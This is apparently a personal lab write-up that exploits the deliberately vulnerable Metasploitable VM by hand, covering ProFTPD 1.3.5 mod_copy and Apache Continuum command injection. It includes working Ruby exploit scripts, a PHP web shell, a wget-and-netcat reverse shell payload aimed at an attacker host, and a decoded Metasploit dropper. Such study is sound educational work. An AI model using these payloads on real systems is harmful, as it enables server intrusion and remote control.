Metasploitable without Metasploit

Metasploitable is an intentionally insecure virtual machine designed to teach people how to use Metasploit. On this page I will try to show how to exploit it without using metasploit. Why? To better understand what exactly is being done behind the scenes. It's simple to plug in some values and run an exploit, but you may want to know the hows and whys of what's going on.
Don't read unless you want everything spoiled for you. And please keep in mind this was written right as I was unraveling each exploit so it might not be as concise or clever as it could be.

Linux

proftpd

PORT     STATE  SERVICE     VERSION
21/tcp   open   ftp         ProFTPD 1.3.5
After an initial nmap scan we can see the VM is running proftpd 1.3.5. Searching "proftpd" in msfconsole, we can see there is an exploit for this version:
msf6 > search proftpd

Matching Modules
================
...
   4  exploit/unix/ftp/proftpd_modcopy_exec        2015-04-22       excellent  Yes    ProFTPD 1.3.5 Mod_Copy Command Execution
   5  exploit/unix/ftp/proftpd_133c_backdoor       2010-12-02       excellent  No     ProFTPD-1.3.3c Backdoor Command Execution
The exploit here is due to proftpd being compiled with the mod_copy module, which allows an attacker to read and write to any file they have permissions for. In order to gain a shell, we need to be able to write to wherever a web server keeps its content, and that server must also be able to run php scripts. We also need to know how to leverage mod_copy's functionality to place a malicious php script into the web directory.

If we take a look in the exploit code from the github page linked above, we can see what's going on. First, the payload is set. It's a very basic shell that takes the value of the "cmd" parameter and executes it as a command on the server with the passthru function, the results of which are echoed out back to you.

If we look at the proftpd docs, we can learn what the next few lines are doing.

self.__sock.send(b"site cpfr /proc/self/cmdline\n")
...
self.__sock.send(("site cpto /tmp/." + payload + "\n").encode("utf-8"))
So, proftpd copies from its own command line. Then it copies to a hidden file (note the .) in /tmp which is named after the payload. Because it copies from its own command line, the contents of the file it created will have the malicious php code inside of it already, because what is in /proc/self/cmdline is now the second CPTO command. Confusing? Take a look at this picture which might help you make more sense of this:

This is a screenshot of the /tmp directory right after I ran the metasploit version of the exploit a few times. The first command I ran was to see what was in the files that metasploit created. As you can see, the contents of the files is the CPTO command itself, which includes the malicious payload, which is all there due to being copied from proftpd's own command line.
self.__sock.send(("site cpfr /tmp/." + payload + "\n").encode("utf-8"))
...
self.__sock.send(("site cpto "+ self.__path +"/backdoor.php\n").encode("utf-8"))
These commands will take the file created in /tmp and place it in the web directory (in the case of metasploitable, /var/www/html) as a new file named backdoor.php (or if you used the metasploit module, it will be a randomly named file). From here, both the script on github and metasploit will let you send commands to be run on the server. However, you can also use the shell created from a web browser as long as you know what URL parameter is used for accepting commands.

So to recap, the requirements for this exploit to succeed are:

  1. Proftpd 1.3.5 is running on the machine
  2. Proftpd was compiled with the mod_copy module
  3. You have permissions to write somewhere in the web directory
  4. PHP is installed on the server

Now that we know how it works, we can write our own script and achieve the objective of this page. I will use Ruby as my scripting language of choice. But why don't we just use what already exists, why write a script ourselves? Fun and posterity aside, a good skill to have is to be able to pore over a lot of info like I did above and then be able to implement it yourself. A situation might arise where you might need to modify someone's code or write a new script entirely due to some strange issue or unique setup.

Here's my very basic code to put a shell on the server:

require 'socket'

target = "172.28.128.3"
port = 21
payload = "<?php  echo passthru($_GET['cmd']);?>"
sock = TCPSocket.open(target, port)
sock.set_encoding('UTF-8')
sock.puts("site cpfr /proc/self/cmdline\n")
sock.puts("site cpto /tmp/" + payload + "\n")
sock.puts("site cpfr /tmp/"+payload + "\n")
sock.puts("site cpto /var/www/html/0wned.php\n")
sock.close()
Rather than using a script, these commands can also be issued through an ftp client or netcat as well.

All you have to do now is navigate to target.site/0wned.php?cmd=whoami and start sending commands.

Apache Continuum

From the initial nmap scan:
8080/tcp open   http        Jetty 8.1.7.v20120910
|_http-server-header: Jetty(8.1.7.v20120910)
|_http-title: Error 404 - Not Found
The server here is hosting an Apache Continuum installation. From what Metasploit tells us, there is a command injection vulnerability present. Using searchsploit to look up "continuum" yielded a result, but upon inspection of the code in that script (which is the module used by metasploit) the actual commands sent etc are not present as they are in the ProFTPD exploit. So, in order to see what metasploit was doing exactly, I set up the exploit in the metasploit console, and before I ran the exploit, I had tcpdump set up to capture traffic and log it to a file.

To inspect the file, I used tcpick as follows:

tcpick -C -yP -r continuum.cap
And could see the following, which is from the POST request metasploit made to the server:
installation.name=FRZGppPA&installation.type=jdk&installation.varValue=
%60echo%20-n%20f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA%2bgAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qC
ViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwcgAVRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp%2bWg8FSIXAeO3/5g%3d%3d%3e%3
e%27/tmp/hMlWZ.b64%27%20%3b%20%28%28which%20base64%20%3e%262%20%26%26%20base64%20-d%20-%29%20%7c%7c%20%28which%20base64%20%3e%262%20%26%26%20base64%20--decode%20-%29%20%7c%7c%20%28wh
ich%20openssl%20%3e%262%20%26%26%20openssl%20enc%20-d%20-A%20-base64%20-in%20/dev/stdin%29%20%7c%7c%20%28which%20python%20%3e%262%20%26%26%20python%20-c%20%27import%20sys%2c%20base64
%3b%20print%20base64.standard_b64decode%28sys.stdin.read%28%29%29%3b%27%29%20%7c%7c%20%28which%20perl%20%3e%262%20%26%26%20perl%20-MMIME%3a%3aBase64%20-ne%20%27print%20decode_base64%
28%24_%29%27%29%29%202%3e%20/dev/null%20%3e%20%27/tmp/kSkLZ%27%20%3c%20%27/tmp/hMlWZ.b64%27%20%3b%20chmod%20%2bx%20%27/tmp/kSkLZ%27%20%3b%20%27/tmp/kSkLZ%27%20%3b%20rm%20-f%20%27/tmp
/kSkLZ%27%20%3b%20rm%20-f%20%27/tmp/hMlWZ.b64%27%60
This is definitely the payload being sent, as indicated by the bits of text readable in this mess. There appears to be some encoding going on in the installation.varValue parameter, so let's remove it with a helpful website:
`echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIk
FaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwcgAVRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/hMlWZ.b64' ; 
((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 
'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/kSkLZ' < 
'/tmp/hMlWZ.b64' ; chmod +x '/tmp/kSkLZ' ; '/tmp/kSkLZ' ; rm -f '/tmp/kSkLZ' ; rm -f '/tmp/hMlWZ.b64'`
Much better. However there still appears to be an encoded string present, which is likely base64. We can echo that string and pipe it into 'base64 -d' to decode it. When we do that, the first characters we can see are "ELF" meaning this is probably an executable file. Let's take a quick look into what its functionality may be.

I decided to base64 decode the encoded string and output it to a file, called "continuum.out". Next, I opened it up in Ghidra, which is a tool for reverse engineering. Let's check out the code highlighted in the following image:

There are two system calls being made. If you take a look at the linux syscall table, and convert 0x29 and 0x2a into decimal (41 and 42) and check what those system calls are, we can see that a socket is being created and a network connection is being made.

To confirm this, we can run the program with strace, and see what it spits out:

$ strace ./continuum.out 
execve("./continuum.out", ["./continuum.out"], 0x7ffef611a5e0 /* 54 vars */) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7f714eab5000
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("172.28.128.5")}, 16
There are the two system calls to socket and connect as expected. The IP address belongs to the Kali Linux VM, so we can safely guess this is a reverse shell. In fact if you take a look in the reverse_tcp shell source code, we can see that the assembly code matches up. This is the beginning of the staging process that eventually ends in a meterpreter session.

Now let's return to the long chain of commands that was sent. The executable is sent and encoded in base64 and is part of an echo command. The -n switch makes sure it doesn't include a newline character with it. It is then written to /tmp with a random filename with a .b64 extension. The series of "which" commands is a bit of fault tolerance. If a "which" command succeeds, then the command after the two ampersands is run (&& means if the first command succeeds, then the next command is run). The double pipes mean if what is in one set of parentheses fails, try the next one. As you can see, there are many ways to perform base64 decoding. It will then output the decoded executable into /tmp as a randomly named file. The input of which is read from the previous .b64 file created in /tmp (note the < symbol which means to read in, > means to write). It is then set as executable, run, and then the temporary files deleted.

My Ruby script to exploit Apache Continuum is as follows:

require 'net/http'

payload = "`wget -O /tmp/netcat http://172.28.128.5:8080/netcat; chmod +x '/tmp/netcat'; '/tmp/netcat' 172.28.128.5 4444 -e /bin/sh`"
uri = URI('http://172.28.128.3:8080/continuum/saveInstallation.action')
req = Net::HTTP::Post.new(uri)
req.set_form_data('installation.name' => 'test', 'installation.type' => 'jdk', 'installation.varValue' => payload)
puts uri.port
res = Net::HTTP.start(uri.hostname, uri.port) do |http|
  http.request(req)
end
For the reverse shell, netcat is used! I ran a simple http server (python -m http.server 8080) on the Kali VM which is where wget is downloading it from. It's then saved in /tmp, marked as executable, and then run with the -e switch, which will spawn a bash shell once it connects back to us. Before the Ruby script is run, I set netcat to listen on port 4444 on the Kali VM.

I'll also note that you don't even need a script at all for this. The POST request can be made via curl, which is a lot simpler to do as opposed to remembering how the libraries in your scripting language of choice work just to send a POST request.

Now this isn't a very clever, elegant, or stealthy solution. But it works. I didn't have any luck with a bash one-liner in the POST request to get a shell, so I did this instead. Don't forget: trying the laziest and easiest things first can save a lot of time and prevent you putting your head through a desk.

Drupal

/drupal

Hopefully this will have been an interesting and informative read if you've wanted to see what goes on under the hood of metasploit and how these exploits are really working. If you are running Kali Linux, you can use the searchsploit utility to find scripts metasploit uses, in order to study them, since they are all included in Kali. I intend on doing all the rest of the exploits on the Linux VM as well as the Windows VM and writing about them all here.